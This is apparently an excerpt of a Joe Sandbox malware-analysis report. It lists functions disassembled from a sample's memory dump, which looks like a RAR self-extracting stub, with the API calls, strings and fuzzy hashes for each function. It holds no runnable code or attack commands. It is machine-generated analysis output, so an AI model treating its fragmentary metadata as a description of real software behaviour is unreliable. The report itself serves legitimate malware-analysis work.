_swprintf.LIBCMT ref: 00722536

Part of subcall function 00724092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 007240A5

Part of subcall function 007305DA: _wcslen.LIBCMT ref: 007305E0

Strings

x%u, xrefs: 007226FD
xc%u, xrefs: 0072275A
;%u, xrefs: 00722523

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: c7a4bca8880fb59bf1712c684d68a0acca1a897b2d17a06c8de5a9c281f56a57
Instruction ID: 0a0a6aadf7980718e3b7b8ae622b68be9aeefc6ad1e12c60609e9cda79f15c9d
Opcode Fuzzy Hash: c7a4bca8880fb59bf1712c684d68a0acca1a897b2d17a06c8de5a9c281f56a57
Instruction Fuzzy Hash: 4DF14A71604360EBDB25EF24A499BFE77996F90300F08056DFD869B283DB6CC946C762

Uniqueness

Uniqueness Score: -1.00%

Function 00742900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00742937
___except_validate_context_record.LIBVCRUNTIME ref: 0074293F
_ValidateLocalCookies.LIBCMT ref: 007429C8
__IsNonwritableInCurrentImage.LIBCMT ref: 007429F3
_ValidateLocalCookies.LIBCMT ref: 00742A48

Strings

csm, xrefs: 007429DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 06462bb893644e91f1094b01d7c390c85d0148c07e44a90d8f8426a4388c091b
Instruction ID: 7e608614f62e5a33cc000b61328f9f9edaf4d7a6a77add79381f1cddc120a424
Opcode Fuzzy Hash: 06462bb893644e91f1094b01d7c390c85d0148c07e44a90d8f8426a4388c091b
Instruction Fuzzy Hash: 9D41A634A00208EFCF10DF68C885A9E7BB5AF45324F54C155FC19AB393D779AA26CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00739955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0073995E
_wcslen.LIBCMT ref: 00739993

Strings

, xrefs: 007399B0
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00739987
 , xrefs: 00739A21
<br>, xrefs: 007399DF

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: 981f83c64f4735236670df370d33de393fd5e392a9f27ec543e13582c690cb2a
Instruction ID: 8191ec3f4aedca0c52c6340bad3e928070f545265447f5a5e6261aa708864654
Opcode Fuzzy Hash: 981f83c64f4735236670df370d33de393fd5e392a9f27ec543e13582c690cb2a
Instruction Fuzzy Hash: 3B315E7264434596FA30AB549C42B7A73E4EB90720F50C51EFA8647281FBEDAD84C3A2

Uniqueness

Uniqueness Score: -1.00%

Function 0074C8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0074C868: _free.LIBCMT ref: 0074C891

_free.LIBCMT ref: 0074C8F2

Part of subcall function 00748DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0074C896,?,00000000,?,00000000,?,0074C8BD,?,00000007,?,?,0074CCBA,?), ref: 00748DE2
Part of subcall function 00748DCC: GetLastError.KERNEL32(?,?,0074C896,?,00000000,?,00000000,?,0074C8BD,?,00000007,?,?,0074CCBA,?,?), ref: 00748DF4

_free.LIBCMT ref: 0074C8FD
_free.LIBCMT ref: 0074C908
_free.LIBCMT ref: 0074C95C
_free.LIBCMT ref: 0074C967
_free.LIBCMT ref: 0074C972
_free.LIBCMT ref: 0074C97D

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: a63fb4b834cb868cc1fa71c29a04147911f3cdb715892f3edea46d4513544623
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: E2111271A8270CE6E5A1B771CC0FFCB7BAC9F04B00F404C15B29D66092DB69B5058B91

Uniqueness

Uniqueness Score: -1.00%

Function 00748900 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0074891E

Part of subcall function 00748DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0074C896,?,00000000,?,00000000,?,0074C8BD,?,00000007,?,?,0074CCBA,?), ref: 00748DE2
Part of subcall function 00748DCC: GetLastError.KERNEL32(?,?,0074C896,?,00000000,?,00000000,?,0074C8BD,?,00000007,?,?,0074CCBA,?,?), ref: 00748DF4

_free.LIBCMT ref: 00748930
_free.LIBCMT ref: 00748943
_free.LIBCMT ref: 00748954
_free.LIBCMT ref: 00748965

Strings

pu, xrefs: 00748914

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: pu
API String ID: 776569668-250260183
Opcode ID: 2960301863999a219f5d9d61578cffb99fe290ff3cfcb903f5ec30ca11127ad2
Instruction ID: cf02ad04314a453d07231639c371a063adbaeca253214bc9a17777f2743c044d
Opcode Fuzzy Hash: 2960301863999a219f5d9d61578cffb99fe290ff3cfcb903f5ec30ca11127ad2
Instruction Fuzzy Hash: 0DF03071A5121ACB86866F14FC0644D3BA1F7287223128505F414932B3DF7E4A529FCA

Uniqueness

Uniqueness Score: -1.00%

Function 0073A80C Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 0073A699: GetDC.USER32(00000000), ref: 0073A69D
Part of subcall function 0073A699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0073A6A8
Part of subcall function 0073A699: ReleaseDC.USER32(00000000,00000000), ref: 0073A6B3

GetObjectW.GDI32(?,00000018,?), ref: 0073A83C

Part of subcall function 0073AAC9: GetDC.USER32(00000000), ref: 0073AAD2
Part of subcall function 0073AAC9: GetObjectW.GDI32(?,00000018,?), ref: 0073AB01
Part of subcall function 0073AAC9: ReleaseDC.USER32(00000000,?), ref: 0073AB99

Strings

As, xrefs: 0073A9BA
(, xrefs: 0073A9AA
"s, xrefs: 0073A89D, 0073AAB9

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: "s$($As
API String ID: 1061551593-951805127
Opcode ID: c086b914c0ba545002e731aff767ba610c4eccd546e125b7cc833465b0f4e292
Instruction ID: 6c5758b691f93ab1e0cf860a829ac206e820a946957ead690f1bf30e0ad4c46a
Opcode Fuzzy Hash: c086b914c0ba545002e731aff767ba610c4eccd546e125b7cc833465b0f4e292
Instruction Fuzzy Hash: 60910271208744AFE711DF25C845A6BBBE9FFC8701F00891EF59AD3221DB74A945CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0072C0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 007305DA: _wcslen.LIBCMT ref: 007305E0

Part of subcall function 0072B92D: _wcsrchr.LIBVCRUNTIME ref: 0072B944

_wcslen.LIBCMT ref: 0072C197
_wcslen.LIBCMT ref: 0072C1DF

Strings

.sfx, xrefs: 0072C11A
.rar, xrefs: 0072C0E1, 0072C134
.exe, xrefs: 0072C10B

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: b7786cbd79d0a3aca26cde56d9ff391be58f2f546f6ad2adf4f9f0f3114093b1
Instruction ID: ca86f43ce5b4a889c75ace76f09141be1251c6c70133f6cbe4cafb05679f7eb6
Opcode Fuzzy Hash: b7786cbd79d0a3aca26cde56d9ff391be58f2f546f6ad2adf4f9f0f3114093b1
Instruction Fuzzy Hash: E4417962100375D6D733AF34A856A7E73A8EF61744F20050EF8C26B082EB6D5E91C391

Uniqueness

Uniqueness Score: -1.00%

Function 0072B991 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0072B9B8

Part of subcall function 00724092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 007240A5

_wcschr.LIBVCRUNTIME ref: 0072B9D6
_wcschr.LIBVCRUNTIME ref: 0072B9E6

Strings

%c:\, xrefs: 0072B9AE

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 320310f4162e4fb28d337e9b505fb1f958e0043c21c931165a166ccc1df27727
Instruction ID: 7d393790a781042ce427cdd60dfa83bf6d40e299a3237ca2e9b88bdcdfbdc07f
Opcode Fuzzy Hash: 320310f4162e4fb28d337e9b505fb1f958e0043c21c931165a166ccc1df27727
Instruction Fuzzy Hash: 1D01F563514321A99A306B35AC4AD6BB7ACEE95770B50840AF584D6082FB28F89483B1

Uniqueness

Uniqueness Score: -1.00%

Function 0073B270 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00721316: GetDlgItem.USER32(00000000,00003021), ref: 0072135A
Part of subcall function 00721316: SetWindowTextW.USER32(00000000,007535F4), ref: 00721370

EndDialog.USER32(?,00000001), ref: 0073B2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0073B2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 0073B304

Strings

GETPASSWORD1, xrefs: 0073B289
xzw, xrefs: 0073B2E2

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$xzw
API String ID: 445417207-3717932900
Opcode ID: b5aa76b9f5837434c5c96ec38d027e68530d2fbdae7f612e3bd3d8928b0e83cc
Instruction ID: bada34eedb97f84da631fd3d5222949dfdde776cfc7202a5978394aac8ee8fa6
Opcode Fuzzy Hash: b5aa76b9f5837434c5c96ec38d027e68530d2fbdae7f612e3bd3d8928b0e83cc
Instruction Fuzzy Hash: 7011C432940128B6EB219A78AC49FFF376DFF19B40F104120FB46B61C1C7ACAA4597A1

Uniqueness

Uniqueness Score: -1.00%

Function 00749869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,007491AD,0074B188,?,00749813,00000001,00000364,?,00743F73,00000050,?,00761030,00000200), ref: 0074986E
_free.LIBCMT ref: 007498A3
_free.LIBCMT ref: 007498CA
SetLastError.KERNEL32(00000000,?,00761030,00000200), ref: 007498D7
SetLastError.KERNEL32(00000000,?,00761030,00000200), ref: 007498E0

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 8f9b1dc68df639f3ebe478ac213254b1fa9743822ac8c8d8c8eb032f3d59effd
Instruction ID: cee4d5d51215897ab04ece455e3510353aca04d976ab76d2c292202c220d4297
Opcode Fuzzy Hash: 8f9b1dc68df639f3ebe478ac213254b1fa9743822ac8c8d8c8eb032f3d59effd
Instruction Fuzzy Hash: 6C01F436285705ABC312676C6C8D96B252EDBD27B27210234F625961A2EF6C8D025269

Uniqueness

Uniqueness Score: -1.00%

Function 007431D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 007431FB
_abort.LIBCMT ref: 00743306

Strings

RCC, xrefs: 00743215
MOC, xrefs: 0074320D

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: d5face028c07b41d50a9fc02bdc25dc70bfb0e193bece27c6adafab57b5f41a6
Instruction ID: cb9d8e94a856b29b134e807ea031e5476bb86cceb0631f874f48a8091061731c
Opcode Fuzzy Hash: d5face028c07b41d50a9fc02bdc25dc70bfb0e193bece27c6adafab57b5f41a6
Instruction Fuzzy Hash: 9F414871900209EFDF15DF98CD82AEEBBB5BF48304F188159F908A7226D379AA51DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0072D8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0072D954
_strncpy.LIBCMT ref: 0072D99A

Part of subcall function 00731DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00761030,00000200,0072D928,00000000,?,00000050,00761030), ref: 00731DC4

Strings

@%s, xrefs: 0072D93E
$%s, xrefs: 0072D949

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 385157331881866287f1723ab75f3f4c01b85e87f4e439809837cd66eddb367f
Instruction ID: 32a3c694422b8237202525c493174bbbe71e4d93ccebe7be3e681bc10ebb04c3
Opcode Fuzzy Hash: 385157331881866287f1723ab75f3f4c01b85e87f4e439809837cd66eddb367f
Instruction Fuzzy Hash: E621907244025CEAEB31EEA4DC05FDE7BA8EF05300F044126F990961A2E779EA988B51

Uniqueness

Uniqueness Score: -1.00%

Function 0072124F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0072125D

Strings

(s, xrefs: 007212A3
2s, xrefs: 00721292
A, xrefs: 00721285

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Malloc
String ID: (s$2s$A
API String ID: 2696272793-3699640820
Opcode ID: 79b28cf346e344f66fb151995496e40c840d158a6cb1ea9784dd44b7bdbf5c37
Instruction ID: 1e2223f70b577ee5254c014553fcd74677307ee944acad906459f4288d5710d9
Opcode Fuzzy Hash: 79b28cf346e344f66fb151995496e40c840d158a6cb1ea9784dd44b7bdbf5c37
Instruction Fuzzy Hash: FE01DB75901229ABCB14DFA4E844ADEBBF8FF09710B20415AE905E7250D7789A40CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0074C988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,007491E0,?,00000000,?,00000001,?,?,00000001,007491E0,?), ref: 0074C9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0074CA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00746CBE,?), ref: 0074CA70
__freea.LIBCMT ref: 0074CA79

Part of subcall function 00748E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0074CA2C,00000000,?,00746CBE,?,00000008,?,007491E0,?,?,?), ref: 00748E38

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 160492602dafee7bdb4f6986e2c4305a8b7d5a2f0e6c9bcef88f903bae00a89f
Instruction ID: 2d564270878c5035ecfded40e034aa591679c2de812d959179a7d3d6c0711b23
Opcode Fuzzy Hash: 160492602dafee7bdb4f6986e2c4305a8b7d5a2f0e6c9bcef88f903bae00a89f
Instruction Fuzzy Hash: 5B319072A0221AABDF26DF74DC45DEE7BA5EB41350F148168FC04E6261EB39DD50CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0073D06A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 278COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0073D11B

Strings

.lnk, xrefs: 0073D2F7, 0073D307
ds, xrefs: 0073D3C5

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _wcschr
String ID: .lnk$ds
API String ID: 2691759472-1819217326
Opcode ID: 3cb0bd940c676f96703609ae72cc16db184e53bc6c1d69a98ffa17538498f3b6
Instruction ID: a780ea51195344ca51725b2f1cdb487c20d99200bf7fb6156ec6cc7c409d317f
Opcode Fuzzy Hash: 3cb0bd940c676f96703609ae72cc16db184e53bc6c1d69a98ffa17538498f3b6
Instruction Fuzzy Hash: DDA1317290012996EF34DBA4DD59EFA73FCAF44304F0885A6B509E7142EF789F848B61

Uniqueness

Uniqueness Score: -1.00%

Function 0073101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00731160,?,00000000,00000000), ref: 00731043
SetThreadPriority.KERNEL32(?,00000000), ref: 0073108A

Part of subcall function 00726C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00726C54

Part of subcall function 00726DCB: _wcschr.LIBVCRUNTIME ref: 00726E0A
Part of subcall function 00726DCB: _wcschr.LIBVCRUNTIME ref: 00726E19

Strings

CreateThread failed, xrefs: 0073104F

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
